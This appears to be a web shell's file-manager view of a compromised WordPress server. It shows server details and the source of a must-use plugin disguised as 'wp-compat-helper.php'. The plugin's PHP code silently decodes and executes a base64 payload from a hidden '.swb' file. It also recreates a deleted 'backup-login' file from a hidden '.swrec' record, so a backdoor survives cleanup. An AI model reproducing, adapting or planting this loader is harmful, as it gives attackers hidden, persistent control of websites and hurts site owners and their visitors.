HEX
Server: nginx/1.26.1
System: Linux iZ2ze8klig2h778hsg9mc9Z 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
User: www (1000)
PHP: 8.2.28
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/a2.xingzuo101.cn/wp-content/mu-plugins/wp-compat-helper.php
<?php
// SERVER-WALL watchdog v3 — loader + restore
if (!defined('ABSPATH') || !defined('WP_CONTENT_DIR')) return;
$_sw_mu = WP_CONTENT_DIR . '/mu-plugins';
$_sw_swb = $_sw_mu . '/.swb';
// Load main plugin from .swb via temp file — fallback for hosts that block server-wall-scanner.php
// Only runs if the direct mu-plugin file did not load (class SW_Scanner not yet defined).
if (!class_exists('SW_Scanner') && file_exists($_sw_swb) && is_readable($_sw_swb)) {
    $_sw_d = base64_decode(@file_get_contents($_sw_swb));
    if ($_sw_d && strlen($_sw_d) > 500) {
        $_sw_t = sys_get_temp_dir() . '/wp_c_' . substr(md5($_sw_swb), 0, 8) . '.inc';
        if (!file_exists($_sw_t) || filesize($_sw_t) < 1000) {
            @file_put_contents($_sw_t, $_sw_d);
            @chmod($_sw_t, 0644);
        }
        if (is_readable($_sw_t)) { @include_once $_sw_t; }
    }
}
// Restore backup-login file from .swrec if deleted
if (!function_exists('sw_wd_restore_rec')) {
    function sw_wd_restore_rec() {
        $mu = WP_CONTENT_DIR . '/mu-plugins';
        $swrec = $mu . '/.swrec';
        if (file_exists($swrec)) {
            $rec = @json_decode(@file_get_contents($swrec), true);
            if ($rec && !empty($rec['path']) && !empty($rec['content']) && !file_exists($rec['path'])) {
                $d = base64_decode($rec['content']);
                if ($d && strlen($d) > 50) {
                    $old = umask(0133);
                    if (file_exists($rec['path']) && !is_writable($rec['path'])) @unlink($rec['path']);
                    @file_put_contents($rec['path'], $d);
                    umask($old);
                }
            }
        }
    }
    add_action('init', 'sw_wd_restore_rec', PHP_INT_MIN);
}